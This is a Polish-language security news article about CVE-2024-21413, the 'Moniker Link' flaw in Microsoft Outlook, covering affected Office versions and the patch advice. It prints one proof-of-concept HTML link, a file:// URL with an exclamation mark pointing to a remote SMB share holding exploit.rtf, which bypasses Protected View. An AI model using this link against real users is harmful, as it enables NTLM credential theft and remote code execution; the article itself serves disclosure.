Krytyczna podatność w Microsoft Outlook
Nowa krytyczna podatność w Microsoft Outlook umożliwia zdalnym atakującym exploitację i omijanie widoku chronionego aplikacji wchodzących w skład pakietu Office.
Podatność odkrył badacz Check Point – Haifei Li. Oznaczono ją jako CVE-2024-21413. Dzięki niej możliwe jest zdalne wykonanie kodu (RCE), gdy w Outlooku otwierane są e-maile zawierające złośliwe linki. Atakujący mogą także obejść widok chroniony, przeznaczony do blokowania szkodliwej zawartości w plikach Office. Takie linki powodują otwarcie pliku w trybie edycji, zamiast odczytu.
Gigant z Redmond ostrzega, że wektorem ataku jest panel podglądu, umożliwiający udany atak nawet podczas przeglądania złośliwie spreparowanych dokumentów Office. Nieuwierzytelnieni atakujący mogą zdalnie wykorzystać CVE-2024-21413 w atakach o niskim stopniu skomplikowania. Użytkownik nie musi podejmować żadnej interakcji, aby stać się ofiarą.
„Atakujący, który pomyślnie wykorzysta tę lukę, mógłby uzyskać szerokie uprawnienia, obejmujące funkcje odczytu, zapisu i usuwania”, wyjaśnia Microsoft. Atakujący mogą stworzyć złośliwy link, który omija protokół widoku chronionego. Tym samym może prowadzić to do ujawnienia lokalnych informacji uwierzytelniających NTLM i zdalnego wykonania kodu (RCE).
Podatność CVE-2024-21413 dotyczy wielu produktów Office, w tym:
- Microsoft Office LTSC 2021,
- Microsoft 365 Apps for Enterprise,
- Microsoft Office 2016 i Microsoft Office 2019 (w ramach wsparcia rozszerzonego).
Badacze z firmy Check Point opisują podatność jako Moniker Link. Pozwala ona atakującym obejść wbudowane zabezpieczenia Outlook dla złośliwych linków osadzonych w e-mailach. Atak polega na wykorzystaniu protokołu file:// i dodaniu znak wykrzyknika do adresu URL, wskazującego na serwery kontrolowane przez napastników.
<a href="file:///\\10.0.0.1\exploit\exploit.rtf!cokolwiek">Niezwykle bezpieczny link</a>
Hiperłącze omija zabezpieczenia Outlooka, a sam Outlook uzyskuje dostęp do zdalnego zasobu „\\10.0.0.1\exploit\exploit.rtf” po kliknięciu w link. Nie generuje przy tym żadnych ostrzeżeń czy błędów.
Podatność ta wynika z niebezpiecznego API MkParseDisplayName, które może wpłynąć na inne oprogramowanie korzystające z tego interfejsu.
Ataki wykorzystujące CVE-2024-21413 mogą skutkować kradzieżą informacji uwierzytelniających NTLM oraz wykonaniem dowolnego kodu przy użyciu złośliwiych dokumentów Office.
Check Point potwierdza obecność błędu Moniker Link w najnowszych środowiskach Windows 10/11 + Microsoft 365 (Office 2021). Specjaliści z tej firmy zalecają wszystkim użytkownikom Outlooka natychmiastową instalację oficjalnej łatki.